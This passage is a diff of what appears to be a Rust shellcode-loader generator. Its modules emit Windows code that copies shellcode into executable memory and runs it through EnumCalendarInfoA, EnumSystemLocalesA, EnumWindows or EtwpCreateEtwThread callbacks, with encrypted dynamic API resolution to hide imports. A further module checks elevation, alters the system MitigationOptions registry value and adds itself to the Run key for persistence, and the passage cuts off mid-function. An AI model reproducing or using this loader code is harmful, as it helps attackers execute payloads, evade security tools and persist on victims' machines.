+#[link(name = "kernel32")]
+extern "system" {
+ fn EnumCalendarInfoA(
+ callback: *const std::ffi::c_void,
+ locale: u32,
+ calendar: u32,
+ cal_type: u32,
+ ) -> i32;
+}
+
+#[link(name = "ntdll")]
+extern "system" {
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}
+"#
+ .to_string()
+}
+
+#[allow(dead_code)]
+pub fn enum_calendar_init() -> String {
+ "".to_string()
+}
+
+pub fn enum_calendar_process() -> String {
+ r#"
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let result = EnumCalendarInfoA(
+ addr,
+ LOCALE_USER_DEFAULT,
+ ENUM_ALL_CALENDARS,
+ CAL_SMONTHNAME1,
+ );
+
+ if result == 0 {
+ panic!("failed");
+ }
+ }
+"#
+ .to_string()
+}
+
+fn generate_enum_calendar_template(_target_process: &str, function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(enum_calendar_import())
+ .with_const(enum_calendar_const())
+ .with_init(enum_calendar_init())
+ .with_process(enum_calendar_process())
+ .build(function_name)
+}
+
+pub fn generate_enum_calendar_code(_target_process: &str, function_name: &str) -> String {
+ generate_enum_calendar_template(_target_process, function_name)
+}
+
+fn enum_calendar_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let enum_calendar_info_a = enum_calendar_info_a_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {enum_calendar_info_a_resolver}
+ {enum_calendar_info_a_cast}
+
+ let result = enum_calendar_info_a(
+ addr,
+ LOCALE_USER_DEFAULT,
+ ENUM_ALL_CALENDARS,
+ CAL_SMONTHNAME1,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ enum_calendar_info_a_resolver = enum_calendar_info_a.resolver_code,
+ enum_calendar_info_a_cast = enum_calendar_info_a.cast_code,
+ ))
+}
+
+fn generate_enum_calendar_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = enum_calendar_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(enum_calendar_import())
+ .with_const(enum_calendar_const())
+ .with_init(enum_calendar_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_enum_calendar_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_enum_calendar_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate EnumCalendar code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct EnumCalendarGenerator;
+
+impl super::trait_generator::TechniqueGenerator for EnumCalendarGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_enum_calendar_code(_process, function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_enum_calendar_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "EnumCalendar"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_enum_calendar_template_contains_all_parts() {
+ let template = generate_enum_calendar_template("notepad.exe", "MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ assert!(template.contains("EnumCalendarInfoA"));
+ }
+
+ #[test]
+ fn test_generate_enum_calendar_code() {
+ let code = generate_enum_calendar_code("notepad.exe", "MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ }
+
+ #[test]
+ fn test_enum_calendar_does_not_use_process_param() {
+ let code = generate_enum_calendar_code("notepad.exe", "TestFunc");
+ // This technique doesn't use process injection, so it shouldn't contain the process name
+ assert!(!code.contains("notepad.exe"));
+ }
+}
diff --git a/src/internals/templates/techniques/enum_system_locales.rs b/src/internals/templates/techniques/enum_system_locales.rs
@@ -0,0 +1,226 @@
+pub fn enum_system_locales_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn enum_system_locales_const() -> String {
+ r#"
+const MEM_COMMIT: u32 = 0x1000;
+const MEM_RESERVE: u32 = 0x2000;
+const PAGE_EXECUTE_READWRITE: u32 = 0x40;
+
+const LCID_INSTALLED: u32 = 0x00000001;
+
+#[link(name = "kernel32")]
+extern "system" {
+ fn EnumSystemLocalesA(
+ callback: *const std::ffi::c_void,
+ flags: u32,
+ ) -> i32;
+}
+
+#[link(name = "ntdll")]
+extern "system" {
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}
+"#
+ .to_string()
+}
+
+pub fn enum_system_locales_init() -> String {
+ String::new()
+}
+
+pub fn enum_system_locales_process() -> String {
+ r#"
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let result = EnumSystemLocalesA(addr, LCID_INSTALLED);
+
+ if result == 0 {
+ panic!("failed");
+ }
+ }
+"#
+ .to_string()
+}
+
+fn generate_enum_system_locales_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(enum_system_locales_import())
+ .with_const(enum_system_locales_const())
+ .with_init(enum_system_locales_init())
+ .with_process(enum_system_locales_process())
+ .build(function_name)
+}
+
+pub fn generate_enum_system_locales_code(function_name: &str) -> String {
+ generate_enum_system_locales_template(function_name)
+}
+
+fn enum_system_locales_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let enum_system_locales_a = enum_system_locales_a_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {enum_system_locales_a_resolver}
+ {enum_system_locales_a_cast}
+
+ let result = enum_system_locales_a(addr, LCID_INSTALLED);
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ enum_system_locales_a_resolver = enum_system_locales_a.resolver_code,
+ enum_system_locales_a_cast = enum_system_locales_a.cast_code,
+ ))
+}
+
+fn generate_enum_system_locales_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = enum_system_locales_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(enum_system_locales_import())
+ .with_const(enum_system_locales_const())
+ .with_init(enum_system_locales_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_enum_system_locales_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_enum_system_locales_template_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate EnumSystemLocales code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct EnumSystemLocalesGenerator;
+
+impl super::trait_generator::TechniqueGenerator for EnumSystemLocalesGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_enum_system_locales_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_enum_system_locales_code_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "EnumSystemLocales"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_enum_system_locales_template_contains_all_parts() {
+ let template = generate_enum_system_locales_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ assert!(template.contains("EnumSystemLocalesA"));
+ }
+
+ #[test]
+ fn test_generate_enum_system_locales_code() {
+ let code = generate_enum_system_locales_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("EnumSystemLocalesA"));
+ }
+
+ #[test]
+ fn test_enum_system_locales_does_not_use_process_param() {
+ let code = generate_enum_system_locales_code("TestFunc");
+ assert!(!code.contains("notepad.exe"));
+ }
+}
diff --git a/src/internals/templates/techniques/enum_windows.rs b/src/internals/templates/techniques/enum_windows.rs
@@ -0,0 +1,216 @@
+pub fn enum_windows_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn enum_windows_const() -> String {
+ r#"
+const MEM_COMMIT: u32 = 0x1000;
+const MEM_RESERVE: u32 = 0x2000;
+const PAGE_EXECUTE_READWRITE: u32 = 0x40;
+
+#[link(name = "user32")]
+extern "system" {
+ fn EnumWindows(
+ callback: *const std::ffi::c_void,
+ lparam: isize,
+ ) -> i32;
+}
+
+#[link(name = "ntdll")]
+extern "system" {
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}
+"#
+ .to_string()
+}
+
+pub fn enum_windows_init() -> String {
+ String::new()
+}
+
+pub fn enum_windows_process() -> String {
+ r#"
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let result = EnumWindows(addr, 0);
+
+ if result == 0 {
+ panic!("failed");
+ }
+ }
+"#
+ .to_string()
+}
+
+fn generate_enum_windows_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(enum_windows_import())
+ .with_const(enum_windows_const())
+ .with_init(enum_windows_init())
+ .with_process(enum_windows_process())
+ .build(function_name)
+}
+
+pub fn generate_enum_windows_code(function_name: &str) -> String {
+ generate_enum_windows_template(function_name)
+}
+
+fn enum_windows_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let enum_windows = enum_windows_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {enum_windows_resolver}
+ {enum_windows_cast}
+
+ let result = enum_windows(addr, 0);
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ enum_windows_resolver = enum_windows.resolver_code,
+ enum_windows_cast = enum_windows.cast_code,
+ ))
+}
+
+fn generate_enum_windows_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = enum_windows_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(enum_windows_import())
+ .with_const(enum_windows_const())
+ .with_init(enum_windows_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_enum_windows_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_enum_windows_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate EnumWindows code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct EnumWindowsGenerator;
+
+impl super::trait_generator::TechniqueGenerator for EnumWindowsGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_enum_windows_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_enum_windows_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "EnumWindows"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_enum_windows_template_contains_all_parts() {
+ let template = generate_enum_windows_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ assert!(template.contains("EnumWindows"));
+ }
+
+ #[test]
+ fn test_generate_enum_windows_code() {
+ let code = generate_enum_windows_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("EnumWindows"));
+ }
+
+ #[test]
+ fn test_enum_windows_does_not_use_process_param() {
+ let code = generate_enum_windows_code("TestFunc");
+ assert!(!code.contains("notepad.exe"));
+ }
+}
diff --git a/src/internals/templates/techniques/etwp.rs b/src/internals/templates/techniques/etwp.rs
@@ -0,0 +1,256 @@
+pub fn etwp_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn etwp_const() -> String {
+ format!(
+ r#"
+{}
+
+const INFINITE: u32 = 0xFFFFFFFF;
+
+#[link(name = "kernel32")]
+extern "system" {{
+ fn WaitForSingleObject(
+ handle: *mut std::ffi::c_void,
+ milliseconds: u32,
+ ) -> u32;
+}}
+
+#[link(name = "ntdll")]
+extern "system" {{
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+
+ fn EtwpCreateEtwThread(
+ start_address: *const std::ffi::c_void,
+ parameter: usize,
+ ) -> *mut std::ffi::c_void;
+}}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS
+ )
+}
+
+pub fn etwp_init() -> String {
+ String::new()
+}
+
+pub fn etwp_process() -> String {
+ r#"
+ unsafe {
+ let base_addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if base_addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ base_addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let result = VirtualProtect(
+ base_addr as *mut std::ffi::c_void,
+ shellcode.len(),
+ PAGE_EXECUTE_READ,
+ &mut old_protect,
+ );
+
+ if result == 0 {
+ panic!("failed");
+ }
+
+ let thread_id = EtwpCreateEtwThread(base_addr, 0);
+ if thread_id.is_null() {
+ panic!("failed");
+ }
+
+ WaitForSingleObject(thread_id, INFINITE);
+ }
+"#
+ .to_string()
+}
+
+fn generate_etwp_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(etwp_import())
+ .with_const(etwp_const())
+ .with_init(etwp_init())
+ .with_process(etwp_process())
+ .build(function_name)
+}
+
+pub fn generate_etwp_code(function_name: &str) -> String {
+ generate_etwp_template(function_name)
+}
+
+fn etwp_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let virtual_protect = virtual_protect_resolver(encryptor)?;
+ let etwp_create_etw_thread = etwp_create_etw_thread_resolver(encryptor)?;
+ let wait_for_single_object = wait_for_single_object_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let base_addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if base_addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ base_addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {virtual_protect_resolver}
+ {virtual_protect_cast}
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let result = virtual_protect(
+ base_addr,
+ shellcode.len(),
+ PAGE_EXECUTE_READ,
+ &mut old_protect,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ {etwp_create_etw_thread_resolver}
+ {etwp_create_etw_thread_cast}
+
+ let thread_id = etwp_create_etw_thread(base_addr, 0);
+ if thread_id.is_null() {{
+ panic!("failed");
+ }}
+
+ {wait_for_single_object_resolver}
+ {wait_for_single_object_cast}
+
+ wait_for_single_object(thread_id, INFINITE);
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ virtual_protect_resolver = virtual_protect.resolver_code,
+ virtual_protect_cast = virtual_protect.cast_code,
+ etwp_create_etw_thread_resolver = etwp_create_etw_thread.resolver_code,
+ etwp_create_etw_thread_cast = etwp_create_etw_thread.cast_code,
+ wait_for_single_object_resolver = wait_for_single_object.resolver_code,
+ wait_for_single_object_cast = wait_for_single_object.cast_code,
+ ))
+}
+
+fn generate_etwp_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = etwp_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(etwp_import())
+ .with_const(etwp_const())
+ .with_init(etwp_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_etwp_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_etwp_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate Etwp code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct EtwpGenerator;
+
+impl super::trait_generator::TechniqueGenerator for EtwpGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_etwp_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_etwp_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "Etwp"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_etwp_template_contains_all_parts() {
+ let template = generate_etwp_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("EtwpCreateEtwThread"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ }
+
+ #[test]
+ fn test_generate_etwp_code() {
+ let code = generate_etwp_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("EtwpCreateEtwThread"));
+ assert!(code.contains("WaitForSingleObject"));
+ }
+}
diff --git a/src/internals/templates/techniques/fairy_law.rs b/src/internals/templates/techniques/fairy_law.rs
@@ -0,0 +1,808 @@
+pub fn fairy_law_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn fairy_law_const() -> String {
+ format!(
+ r#"
+{}
+
+const TOKEN_QUERY: u32 = 0x0008;
+const TOKEN_ELEVATION: u32 = 20;
+const HKEY_CURRENT_USER: isize = 0x80000001u32 as isize;
+const HKEY_LOCAL_MACHINE: isize = 0x80000002u32 as isize;
+const KEY_SET_VALUE: u32 = 0x0002;
+const KEY_WRITE: u32 = 0x20006;
+const KEY_READ: u32 = 0x20019;
+const REG_SZ: u32 = 1;
+const REG_BINARY: u32 = 3;
+const REG_OPTION_NON_VOLATILE: u32 = 0;
+const ERROR_SUCCESS: i32 = 0;
+const MAX_PATH: usize = 260;
+
+#[repr(C)]
+struct TokenElevation {{
+ token_is_elevated: u32,
+}}
+
+#[repr(C)]
+struct ProcessMitigationBinarySignaturePolicy {{
+ _bitfield: u32,
+}}
+
+const PROCESS_SIGNATURE_POLICY: u32 = 8;
+
+#[link(name = "kernel32")]
+extern "system" {{
+ fn GetCurrentProcess() -> *mut c_void;
+
+ fn OpenProcessToken(
+ process_handle: *mut c_void,
+ desired_access: u32,
+ token_handle: *mut *mut c_void,
+ ) -> i32;
+
+ fn GetTokenInformation(
+ token_handle: *mut c_void,
+ token_information_class: u32,
+ token_information: *mut c_void,
+ token_information_length: u32,
+ return_length: *mut u32,
+ ) -> i32;
+
+ fn CloseHandle(handle: *mut c_void) -> i32;
+
+ fn GetModuleFileNameA(
+ module: *mut c_void,
+ filename: *mut u8,
+ size: u32,
+ ) -> u32;
+
+ fn GetProcessMitigationPolicy(
+ process: *mut c_void,
+ mitigation_policy: u32,
+ buffer: *mut c_void,
+ size: usize,
+ ) -> i32;
+}}
+
+#[link(name = "advapi32")]
+extern "system" {{
+ fn RegOpenKeyExA(
+ key: isize,
+ sub_key: *const i8,
+ options: u32,
+ desired: u32,
+ result: *mut isize,
+ ) -> i32;
+
+ fn RegSetValueExA(
+ key: isize,
+ value_name: *const i8,
+ reserved: u32,
+ value_type: u32,
+ data: *const u8,
+ data_size: u32,
+ ) -> i32;
+
+ fn RegCreateKeyExA(
+ key: isize,
+ sub_key: *const i8,
+ reserved: u32,
+ class: *const i8,
+ options: u32,
+ desired: u32,
+ security_attributes: *mut c_void,
+ result: *mut isize,
+ disposition: *mut u32,
+ ) -> i32;
+
+ fn RegCloseKey(key: isize) -> i32;
+}}
+
+#[link(name = "ntdll")]
+extern "system" {{
+ fn RtlCopyMemory(
+ destination: *mut c_void,
+ source: *const c_void,
+ length: usize,
+ );
+}}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS
+ )
+}
+
+pub fn fairy_law_init() -> String {
+ String::new()
+}
+
+fn generate_is_process_elevated() -> String {
+ r#"
+fn is_process_elevated() -> bool {
+ unsafe {
+ let mut token: *mut std::ffi::c_void = ptr::null_mut();
+
+ if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) == 0 {
+ return false;
+ }
+
+ let mut elevation = TokenElevation { token_is_elevated: 0 };
+ let mut size: u32 = 0;
+
+ let result = GetTokenInformation(
+ token,
+ TOKEN_ELEVATION,
+ &mut elevation as *mut _ as *mut std::ffi::c_void,
+ std::mem::size_of::<TokenElevation>() as u32,
+ &mut size,
+ );
+
+ CloseHandle(token);
+
+ result != 0 && elevation.token_is_elevated != 0
+ }
+}
+"#
+ .to_string()
+}
+
+fn generate_check_mitigation_policy() -> String {
+ r#"
+fn check_mitigation_policy_enabled() -> bool {
+ unsafe {
+ let mut sig = ProcessMitigationBinarySignaturePolicy { _bitfield: 0 };
+
+ let result = GetProcessMitigationPolicy(
+ GetCurrentProcess(),
+ PROCESS_SIGNATURE_POLICY,
+ &mut sig as *mut _ as *mut std::ffi::c_void,
+ std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(),
+ );
+
+ if result == 0 {
+ return false;
+ }
+
+ (sig._bitfield & 1) != 0
+ }
+}
+"#
+ .to_string()
+}
+
+fn generate_enable_mitigation_policy() -> String {
+ r#"
+fn enable_mitigation_policy() -> bool {
+ unsafe {
+ let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0";
+ let value_name = b"MitigationOptions\0";
+
+ let mitigation_value: [u8; 20] = [
+ 0x00, 0x01, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ ];
+
+ let mut key: isize = 0;
+ let mut disposition: u32 = 0;
+
+ let result = RegCreateKeyExA(
+ HKEY_LOCAL_MACHINE,
+ subkey.as_ptr() as *const i8,
+ 0,
+ ptr::null(),
+ REG_OPTION_NON_VOLATILE,
+ KEY_WRITE | KEY_READ,
+ ptr::null_mut(),
+ &mut key,
+ &mut disposition,
+ );
+
+ if result != ERROR_SUCCESS {
+ return false;
+ }
+
+ let set_result = RegSetValueExA(
+ key,
+ value_name.as_ptr() as *const i8,
+ 0,
+ REG_BINARY,
+ mitigation_value.as_ptr(),
+ mitigation_value.len() as u32,
+ );
+
+ RegCloseKey(key);
+
+ set_result == ERROR_SUCCESS
+ }
+}
+"#
+ .to_string()
+}
+
+fn generate_add_to_startup() -> String {
+ r#"
+fn add_to_startup() -> bool {
+ unsafe {
+ let mut exe_path = [0u8; MAX_PATH];
+ let len = GetModuleFileNameA(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32);
+
+ if len == 0 {
+ return false;
+ }
+
+ let mut filename_start = 0;
+ let mut filename_end = len as usize;
+
+ for i in (0..len as usize).rev() {
+ if exe_path[i] == b'\\' || exe_path[i] == b'/' {
+ filename_start = i + 1;
+ break;
+ }
+ }
+
+ for i in filename_start..len as usize {
+ if exe_path[i] == b'.' {
+ filename_end = i;
+ break;
+ }
+ }
+
+ let mut value_name = [0u8; MAX_PATH];
+ let name_len = filename_end - filename_start;
+ if name_len == 0 || name_len >= MAX_PATH - 1 {
+ return false;
+ }
+
+ for i in 0..name_len {
+ value_name[i] = exe_path[filename_start + i];
+ }
+ value_name[name_len] = 0;
+
+ let subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0";
+
+ let mut key: isize = 0;
+
+ let result = RegOpenKeyExA(
+ HKEY_CURRENT_USER,
+ subkey.as_ptr() as *const i8,
